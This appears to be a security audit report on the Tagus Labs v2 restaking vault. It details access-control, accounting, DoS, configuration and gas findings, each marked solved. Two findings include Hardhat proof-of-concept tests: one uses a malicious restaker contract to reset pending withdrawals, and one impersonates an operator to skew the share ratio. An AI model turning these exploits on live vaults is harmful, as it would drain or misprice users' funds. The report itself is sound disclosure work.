v2 - Tagus Labs

The Tagus protocol incorporates a function named getTotalDeposited() which serves the purpose of aggregating all tokenized assets under its purview:

function getTotalDeposited() public view returns (uint256) {
        //1 getTotalDelegated() = LRT tokens delegated to EigenLayer
        //2 totalAssets = ERC20(_assetStrategy.underlyingToken()).balanceOf(address(this)) => rETH or stETH balance of Vault (can be donated )
        //3 _pendingWithdrawalAmount = 
                        // incremented on undelegateFrom() || undelegateVault() 
                        // decremented on claimCompletedWithdrawals()
        return getTotalDelegated() + totalAssets() + _pendingWithdrawalAmount;
    }
 
 /// returns the total deposited into asset strategy
    function getTotalDelegated() public view returns (uint256 total) {

        //E Fetch number of restakers = number of InceptionRestaker contracts deployed
        uint256 stakersNum = restakers.length;
        
        //E loop through all stub proxies and fetch values staked by them
        for (uint256 i = 0; i < stakersNum; ) {
            if (restakers[i] == address(0)) {  continue; }

            total += strategy.userUnderlyingView(restakers[i]);

            unchecked {++i;}
        }
        //E add it the vault delegated amount
        return total + strategy.userUnderlyingView(address(this));
    }

The variable _pendingWithdrawalAmount ensures that assets requested for redemption from EigenLayer—post-burn of corresponding shares—are appropriately counted, thus maintaining accurate token valuation within the Tagus vault.

Alteration of _pendingWithdrawalAmount occurs in two principal scenarios:

• Incrementation upon the execution of undelegation events:

function undelegateFrom(
        address elOperatorAddress,
        uint256 amount
    ) external whenNotPaused nonReentrant onlyOperator {
        /// ... ///

        _pendingWithdrawalAmount += amount;
        IInceptionRestaker(stakerAddress).withdrawFromEL(shares);
    }

    /// @dev performs creating a withdrawal request from EigenLayer
    /// @dev requires a specific amount to withdraw
    function undelegateVault(
        uint256 amount
    ) external whenNotPaused nonReentrant onlyOperator {
        /// ... ///
        _pendingWithdrawalAmount += amount;

        delegationManager.queueWithdrawals(withdrawals);

    }

Decrementing in response to the successful claiming of withdrawals from EigenLayer:

/// @dev claims completed withdrawals from EigenLayer, if they exist
    function claimCompletedWithdrawals(
        address restaker,
        IDelegationManager.Withdrawal[] calldata withdrawals
    ) public whenNotPaused nonReentrant {
        uint256 withdrawalsNum = withdrawals.length;
        IERC20[][] memory tokens = new IERC20[][](withdrawalsNum);
        uint256[] memory middlewareTimesIndexes = new uint256[](withdrawalsNum);
        bool[] memory receiveAsTokens = new bool[](withdrawalsNum);

        for (uint256 i = 0; i < withdrawalsNum; ) {
            tokens[i] = new IERC20[](1);
            tokens[i][0] = _asset;
            receiveAsTokens[i] = true;
            unchecked {
                i++;
            }
        }

        uint256 withdrawnAmount;
        if (restaker == address(this)) {
            withdrawnAmount = _claimCompletedWithdrawalsForVault(
                withdrawals,
                tokens,
                middlewareTimesIndexes,
                receiveAsTokens
            );
        } else {
		        //E @audit UNSAFE CALL TO EXTERNAL CONTRACT IS POSSIBLE
            withdrawnAmount = IInceptionRestaker(restaker).claimWithdrawals(
                withdrawals,
                tokens,
                middlewareTimesIndexes,
                receiveAsTokens
            );
        }

        emit WithdrawalClaimed(withdrawnAmount);
				
				
        _pendingWithdrawalAmount = _pendingWithdrawalAmount < withdrawnAmount
            ? 0
            : _pendingWithdrawalAmount - withdrawnAmount;

        if (_pendingWithdrawalAmount < 7) {
            _pendingWithdrawalAmount = 0;
        }

        _updateEpoch();
    }
    
    function updateEpoch() external whenNotPaused onlyOperator {
        _updateEpoch();
    }

However in the code above, no strict restriction have been added, allowing any user to call this function with an arbitrary restaker and a null array of withdrawals requests. This lack of check can lead to an arbitrary contract called and any value returned that could reset the variable _pendingWithdrawalAmount to 0 even if no token has been claimed and disrupt the ratio of the vault.

The following test has been added to inceptionVaultV2.js :

it("Only Call UpdateEpoch", async function () {
        console.log("\n---- Reset _pendingWithdrawalAmount ----")
        let deposited = 10n * e18; 
        let upTo = 10;
        for (let i = 0; i < upTo; i++) {
          await iVault.connect(staker).deposit(deposited, staker.address);
          await iVault.connect(staker2).deposit(deposited, staker2.address);
          await iVault.connect(staker3).deposit(deposited, staker3.address);
        }

        await iVault.connect(iVaultOperator).depositAssetIntoStrategyFromVault(await iVault.totalAssets());
        await iVault.connect(iVaultOperator).delegateToOperatorFromVault(nodeOperators[0], ethers.ZeroHash, [ethers.ZeroHash, 0]);
        
        let amountStaker1 = await iToken.balanceOf(staker);
        let amountStaker2 = await iToken.balanceOf(staker2);
        let amountStaker3 = await iToken.balanceOf(staker3);
        let shares = amountStaker1 + amountStaker2 + amountStaker3;
        await iVault.connect(iVaultOperator).undelegateVault(shares);
        console.log(`ratio Before                    : ${await iVault.ratio()}`);
        let restakerImp = await ethers.deployContract("InceptionRestaker2");
        await iVault.claimCompletedWithdrawals(restakerImp.getAddress(),[]);
        console.log(`ratio After                     : ${await iVault.ratio()}`);
      });

And this contract has been added to the src folder :

contract InceptionRestaker2 is IInceptionRestaker, InceptionRestakerErrors
{
    /// ... ///

    
    function claimWithdrawals(
        IDelegationManager.Withdrawal[] calldata withdrawals,
        IERC20[][] calldata tokens,
        uint256[] calldata middlewareTimesIndexes,
        bool[] calldata receiveAsTokens
    ) external returns (uint256) {
        return type(uint256).max;
    }
    /// ... ///
    
 }

Result :

To address the vulnerability and restore secure operation, it is recommended that:

• Mandatory submission of a known and verified restaker address be enforced within the claimCompletedWithdrawals() function.

• The function should reject calls that contain a zero-length array for withdrawal requests, ensuring only legitimate redemption operations can trigger a decrease in _pendingWithdrawalAmount.

Remediation Plan

SOLVED : The Tagus Labs team implemented a check on claimCompletedWithdrawals to ensure the restaker is known by the contract.

The implementation of the vault does not account for the manual undelegation of assets by EigenLayer operators through direct interactions with the delegationManager.connect(signer).undelegate(withdrawer). This oversight permits operators, if acting with malicious intent, to unilaterally remove delegated assets without corresponding updates to the vault's accounting mechanism. As the function getTotalDeposited() continues to report the pre-undelegation amounts, it inaccurately reflects the vault's actual asset holdings.

Impacts :

• Imbalance in Asset-to-Share Ratio: Following manual undelegation, the ratio, which determines the number of shares per asset, becomes inflated due to the reported total assets being lower than the actual assets. This inflation lasts until the vault's state is correctly updated, which according to the EigenLayer's M2 update, can take up to one week.

• Exploitation Window: During this period, malicious actors or even uninformed users can redeem shares at an inflated value, effectively withdrawing a greater value of assets per share than entitled. Conversely, users depositing during this period receive fewer shares for their assets, potentially leading to financial losses.

The following test has been added to inceptionVaultV2.js :

it("Operator becomes malicious", async function () {
        console.log("--- Vault Operator Add Operators ---");
        const newELOperator = nodeOperators[1];
        const tx = await iVault.addELOperator(newELOperator);
        const receipt = await tx.wait();
        const events = receipt.logs?.filter((e) => e.eventName === "ELOperatorAdded");
        expect(events.length).to.be.eq(1);
        expect(events[0].args["newELOperator"]).to.be.eq(newELOperator);
        await iVault.addELOperator(nodeOperators[2]);
        await iVault.addELOperator(nodeOperators[3]);


        // Users deposit to the vault
        console.log("--- Users Deposit to the vault ---");
        deposited = 100n * e18; 
        await iVault.connect(staker).deposit(deposited, staker.address);
        await iVault.connect(staker2).deposit(deposited, staker2.address);
        await iVault.connect(staker3).deposit(deposited, staker3.address);
        console.log(`total Assets      : ${await iVault.totalAssets()}`);
        console.log(`total Delegated   : ${await iVault.getTotalDelegated()}`);
        
        // Delegate to these new operators
        console.log("--- Vault Operator delegates to EL ---");
        let amountToDelegate = 299999999999999999999n / 3n;
        await iVault.connect(iVaultOperator).delegateToOperator(amountToDelegate, nodeOperators[1], ethers.ZeroHash, [ethers.ZeroHash, 0]);
        let restaker0 = await iVault.restakers(0);
        await iVault.connect(iVaultOperator).delegateToOperator(amountToDelegate, nodeOperators[2], ethers.ZeroHash, [ethers.ZeroHash, 0]);
        await iVault.connect(iVaultOperator).delegateToOperator(amountToDelegate, nodeOperators[3], ethers.ZeroHash, [ethers.ZeroHash, 0]);
        console.log(`total Assets    2 : ${await iVault.totalAssets()}`);
        console.log(`total Delegated 2 : ${await iVault.getTotalDelegated()}`);
        let ratio1 = await iVault.ratio()
        console.log(`Ratio           1 : ${ratio1}`);
        // Operator Undelegate Manually
        console.log("--- EigenLayer Operator undelegates manually ---");
        let withdrawer = await iVault.restakers(0);
        let delegationManagerAddr = await iVault.delegationManager();
        const delegationManager = await ethers.getContractAt("IDelegationManager",delegationManagerAddr);
        // impersonate nodeOperator[1]
        await hre.network.provider.request({
          method: "hardhat_impersonateAccount",
          params: [nodeOperators[1]],
        }); 
        const signer = await ethers.provider.getSigner(nodeOperators[1])
        // undelegate
        await delegationManager.connect(signer).undelegate(withdrawer); 
        console.log(`total Assets    3 : ${await iVault.totalAssets()}`);
        console.log(`total Delegated 3 : ${await iVault.getTotalDelegated()}`);
        let ratio2 = await iVault.ratio()
        console.log(`Ratio           2 : ${ratio2}`);

        console.log("--- Malicious Operator deposit tokens at a bigger ratio ---");
        await iVault.connect(staker4).deposit(deposited, staker4.address);
        let amountStaker4 = deposited * ratio1 / e18;
        let realAmountStaker4 = await iToken.balanceOf(staker4)
        console.log(`Staker 4 tokens           : ${realAmountStaker4}`);
        console.log(`Staker should have gotten : ${amountStaker4}`);
        console.log(`Benefits for staker4 : ${realAmountStaker4 - amountStaker4}`);
        // Operator takes this opportunity to mint inception tokens at a lower rate
        // Or users lose money
      });

Result :

It is recommended to integrate pre-transaction checks within the deposit() and withdraw() functions. These checks should verify the current delegation status of assets and, if discrepancies are detected due to undelegations not reflected in the vault's records, transactions should be reverted.

Remediation Plan

SOLVED : The Tagus Labs team implemented a new function _verifyDelegated() which ensure all delegated operators are still delegated to EigenLayer.

The process for handling withdrawals within the vault consists of three main steps: initiating a withdrawal, updating the epoch based on the available balance, and redeeming the withdrawal. In the current implementation, when a user executes the withdraw() function, a Withdrawal struct is created and added to the claimerWithdrawalsQueue. This struct includes details such as the amount to be withdrawn and the receiver's address.

function withdraw(uint256 iShares, address receiver) external whenNotPaused nonReentrant {
    ...
    claimerWithdrawalsQueue.push(
        Withdrawal({
            epoch: claimerWithdrawalsQueue.length,
            receiver: receiver,
            amount: _getAssetReceivedAmount(amount)
        })
    );
    ...
}

The updateEpoch() function then iterates through this queue to determine how many withdrawals can be covered with the available balance. If the total requested amount exceeds the available balance, the process halts, and the remaining requests are deferred.

function _updateEpoch() internal {
    uint256 withdrawalsNum = claimerWithdrawalsQueue.length;
    uint256 availableBalance = totalAssets() - redeemReservedAmount;

    for (uint256 i = epoch; i < withdrawalsNum; ) {
        if (claimerWithdrawalsQueue[i].amount > availableBalance) { break; }
        ...
        epoch++;
    }
}

The absence of limitations on the number of withdrawal requests a user can submit leads to a potential denial-of-service (DoS) vulnerability. If numerous withdrawal requests accumulate in the claimerWithdrawalsQueue, processing them during the _updateEpoch() operation can become computationally intensive and exceed gas limits, effectively stalling the withdrawal process. This can prevent legitimate withdrawals from being processed in a timely manner, impacting all users of the vault.

To mitigate this vulnerability and enhance system resilience, it is recommended to implement a mechanism that limits the number of active withdrawal requests a single user can have at any given time. This will prevent users from submitting a large number of unnecessary or redundant requests.

Additionally, it is advised to introduce a limit to the number of requests processed per function call. This can prevent the function from hitting gas limits and allows for spreading the processing load over multiple transactions/blocks.

Remediation Plan

SOLVED : The Tagus Labs team implemented a min withdrawal amount to 0.0001 ETH which render the attack too expensive to be realized.

The current implementation of the contract heavily relies on the delegationManager for multiple critical operations, including the delegation and withdrawal of assets. The function setDelegationManager(IDelegationManager newDelegationManager) permits updating the delegationManager address.

    //E @audit resetting delegation manager will break accounting
    function setDelegationManager( IDelegationManager newDelegationManager ) external onlyOwner
    {
        emit DelegationManagerChanged(address(delegationManager),address(newDelegationManager));
        delegationManager = newDelegationManager;
    }

This function has a goal to be used only one time, and it’s critical that’s it’s only used one time. Moreover it configures which delegation manager contract is authorized to manage asset delegation and withdrawal processes. However, the ability to change this address dynamically introduces potential risks, particularly if the delegationManager is altered during a withdrawal operation.

Consider making the delegationManager address immutable or setDelegationManager only usable one time if frequent changes are not necessary for operational flexibility. This could be established during the contract deployment and not allowed to change post-deployment.

Remediation Plan

SOLVED : Tagus Labs team implemented a check to prevent a modification of this critical variable as it has been set.

The current implementation of the ratio() function in the smart contract inefficiently retrieves the total deposited amount twice due to repeated calls to getTotalDeposited(). This redundant fetching of the same data results in unnecessary gas costs, as each call to a state variable involves a read operation that consumes gas.

function ratio() public view returns (uint256) {
    uint256 denominator = getTotalDeposited() < totalAmountToWithdraw
        ? 0
        : getTotalDeposited() - totalAmountToWithdraw;

    if (denominator == 0 || IERC20(address(inceptionToken)).totalSupply() == 0) {
        return 1e18;
    }
    return Convert.multiplyAndDivideCeil(IERC20(address(inceptionToken)).totalSupply(), 1e18, denominator);
}

To enhance the gas efficiency of the ratio() function, it is recommended to store the results of getTotalDeposited() and IERC20(address(inceptionToken)).totalSupply() in local variables during the initial computation, thus reducing the number of state reads from twice to once for each variable. This modification will significantly decrease the gas consumption by minimizing the redundant access to storage.

function ratio() public view returns (uint256) {
    uint256 totalDeposited = getTotalDeposited();
    uint256 totalSupply = IERC20(address(inceptionToken)).totalSupply();

    uint256 denominator = totalDeposited < totalAmountToWithdraw
        ? 0
        : totalDeposited - totalAmountToWithdraw;

    if (denominator == 0 || totalSupply == 0) {
        return 1e18;
    }
    return Convert.multiplyAndDivideCeil(totalSupply, 1e18, denominator);
}

Remediation Plan

SOLVED : The Tagus Labs team modified the function and now stores the variables that are needed instead of re-calling each time the needed functions.

In the initialize method of the InceptionRestaker contract, there is an omission of the __ERC165_init() call, which is part of the ERC165Upgradeable contract from OpenZeppelin. Even though it currently performs no operations,the __ERC165_init() function is designed to ensure that any future enhancements or modifications that might be added to the ERC165Upgradeable initialization process are correctly incorporated when the contract is upgraded.

To ensure robustness and maintain upgrade safety, it is recommended to include the __ERC165_init() call in the initialization process of the InceptionRestaker contract. This change will safeguard against potential issues arising from future changes to the ERC165Upgradeable contract and ensure that the contract adheres to the standard initialization protocol for OpenZeppelin's upgradeable contracts.

function initialize(
    address delegationManager,
    address strategyManager,
    address strategy,
    address trusteeManager
) public initializer {
    __Pausable_init();
    __ReentrancyGuard_init();
    __Ownable_init();
    __ERC165_init(); // Ensure compatibility with future versions of ERC165Upgradeable

    /// ... ///
}

Remediation Plan

SOLVED : The Tagus Labs team added __ERC_165() Init on the vault contract.